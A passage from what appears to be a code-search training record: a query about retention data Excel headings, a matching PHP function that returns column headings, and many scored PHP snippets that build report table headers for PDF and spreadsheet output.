elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "function makeHeader(){\n\tglobal $pdf;\n\t\n\t// logo\n\t$pdf->Image('img/mepbro-pdf.png', 27, 27, 218);\n\t\n\t// title box\n\t$pdf->SetFillColor(51,102,255);\n\t$pdf->Rect(263, 27, 323, 72, 'F');\n\t// title lines\n\t$pdf->SetTextColor(255,255,255);\n\t$pdf->SetFont('Helvetica','B',34);\n\t$pdf->SetXY(263, 31);\n\t$pdf->Cell(323,36,'HOSE TEST', 0, 1, 'C');\n\t$pdf->SetXY(263, 64);\n\t$pdf->Cell(323,36,'CERTIFICATE', 0, 1, 'C');\n\t\n\treturn 126;\n\t\n}", "function setHeader($file_name){\t\n\t\t// echo date('H:i:s') , \" Set header/footer\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&L&G&C&HPlease treat this document as confidential!');\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&L&B' . $this->objPHPExcel->getProperties()->getTitle() . '&RPage &P of &N');\n\t\t// Set page orientation and size\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setPaperSize(PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4);\n\t\t// Rename worksheet\n\t\t// echo date('H:i:s') , \" Rename worksheet\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->setTitle($file_name);\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$this->objPHPExcel->setActiveSheetIndex(0);\n\t\t// download the excel file\n\t\t$this->output($file_name);\n\t}", "function DisplayTableHeader()\n{\n\t$pdf = $GLOBALS['pdf'];\n\t$width_col_no = $GLOBALS['width_col_no'];\n\t$sync_name_index = $GLOBALS['sync_name_index'];\n\t$collectionWidth = $GLOBALS['collectionWidth'];\n\t$totalWidth = $GLOBALS['totalWidth'];\n\n\t//setkan font jadi bold untuk header\n\t$pdf->SetFont('helvetica','B',9);\n\n\t//koleksi tinggi column header\n\t$header_cols_height = array();\n\n\t//tinggi untuk column 'No'\n\t$header_cols_height[] = $pdf->getNumLines('No',$width_col_no);\n\n\t//dapatkan tinggi untuk setiap column\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$header_cols_height[] = $pdf->getNumLines($value,$width_converted);\n\t}\n\n\t//cari siapa paling tinggi\n\t$max_height = max($header_cols_height);\n\n\t//display\n\t$pdf->SetFillColor(211,211,211);\n\n\t$pdf->MultiCell($w=$width_col_no, $h=5*$max_height+3, $txt='No', $border=1, $align='L', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$pdf->MultiCell($w=$width_converted, $h=5*$max_height+3, $txt=$value, $border=1, $align='C', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\t}\n\n\t//reset font\n\t$pdf->SetFont('helvetica','',9);\n\t$pdf->Ln();\n}", "public function loadColumnHeaders() {\n\t\t$jinput = JFactory::getApplication()->input;\n\t\t$jinput->set('columnheaders', $this->data->_data[1]);\n\t\t$this->linepointer++;\n\t\treturn true;\n\t}", "public function createHeader($columns)\n {\n $html = \"<tr>\";\n\n \n foreach ($columns as $column) {\n $html .= \"<th>\".$column['label'].\"</th>\";\n }\n $html .= \"</tr>\";\n return $html; \n }", "function TituloCampos()\n\t{\n\t\t$this->Ln();\n\t\t$this->SetFillColor(244,249,255);\n\t\t$this->SetDrawColor(225,240,255);\n\t\t$this->SetLineWidth(.2);\n\t\t//dimenciones de cada campo\n\t\t$w=array(20,74,42,44);\n\t\t$header=array(strtoupper(_('numero')),strtoupper(_('nombre')),strtoupper(_('familia')),strtoupper(_('unidad medida')));\n\t\t$this->SetFont('Arial','B',9);\n\t\t$this->SetX(15);\n\t\tfor($k=0;$k<count($header);$k++)\n\t\t\t$this->Cell($w[$k],7,$header[$k],1,0,'J',1);\n\t\t$this->Ln();\n\t\treturn $w;\n\t}" ]
[ "0.70109826", "0.6880138", "0.68641937", "0.67379695", "0.6643586", "0.6439908", "0.63512444", "0.6350084", "0.63473046", "0.62397695", "0.6216704", "0.61770076", "0.61373997", "0.6133815", "0.61231387", "0.6092361", "0.60653704", "0.6029906", "0.59907925", "0.59489554", "0.5928728", "0.59237266", "0.58812124", "0.58054286", "0.5803975", "0.5788893", "0.5762982", "0.57600343", "0.5754434", "0.57332385", "0.5685155", "0.56390446", "0.5629972", "0.56089693", "0.55848277", "0.55808693", "0.5558527", "0.5530546", "0.5482048", "0.54600173", "0.5445464", "0.5439202", "0.5434662", "0.5388158", "0.5385084", "0.53773725", "0.536606", "0.5344757", "0.533807", "0.5311706", "0.5300831", "0.52900517", "0.5286733", "0.5274228", "0.5273318", "0.5271982", "0.52603257", "0.5256173", "0.52376246", "0.52345407", "0.52337146", "0.52335656", "0.52288026", "0.52230763", "0.52023405", "0.51992685", "0.5192432", "0.5188474", "0.51878667", "0.516679", "0.5158056", "0.5157212", "0.51428825", "0.51364267", "0.5135948", "0.51291156", "0.51277494", "0.51224107", "0.51078254", "0.51065993", "0.5104335", "0.5092768", "0.5090625", "0.5083523", "0.5074625", "0.50708336", "0.50694305", "0.5057215", "0.505415", "0.5053201", "0.50523716", "0.5050642", "0.50375533", "0.5035055", "0.50343174", "0.5027034", "0.5012871", "0.5005825", "0.50051874", "0.5003311" ]
0.7642007
0
Retention data excel headings
public static function excelRetentionHeadings() { return [ 'Occupation/Job Title', 'Region', 'Industry', 'Type', ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public function report_history(){ \r\n $periode = $this->input->post('periode_download');\r\n $getDate = explode(\" - \", $periode);\r\n $startDate = $getDate[0];\r\n $endDate = $getDate[1];\r\n \r\n $this->excel->setActiveSheetIndex(0);\r\n\r\n //name the worksheet\r\n $this->excel->getActiveSheet()->setTitle('History worksheet');\r\n\r\n $styleArray = array(\r\n 'borders' => array(\r\n 'allborders' => array(\r\n 'style' => PHPExcel_Style_Border::BORDER_THIN\r\n )\r\n )\r\n );\r\n\r\n $this->excel->getActiveSheet()->setCellValue('A1', 'History User');\r\n $this->excel->getActiveSheet()->getStyle(\"A1\")->getFont()->setSize(20);\r\n if(!empty($periode)){\r\n $this->excel->getActiveSheet()->setCellValue('A3', 'Start Date History : '.$startDate);\r\n $this->excel->getActiveSheet()->getStyle(\"A3\")->getFont()->setSize(12);\r\n \r\n $this->excel->getActiveSheet()->setCellValue('A4', 'End Date History : '.$endDate);\r\n $this->excel->getActiveSheet()->getStyle(\"A4\")->getFont()->setSize(12);\r\n }\r\n \r\n \r\n //set cell A1 content with some text\r\n $arrField = array('No', 'Name', 'Address', 'Agent Code', 'Agent Name', 'MG User ID', 'Email User', 'Status History', 'Gift Name', 'Value Gift', 'Point Gift', 'Last Point', 'In Point', 'Out Point', 'Current Point', 'Approved By','Tanggal History', 'Notes');\r\n \r\n $arrCellsTitle = $this->excel->setValueHorizontal($arrField, 6, 65); //array field, 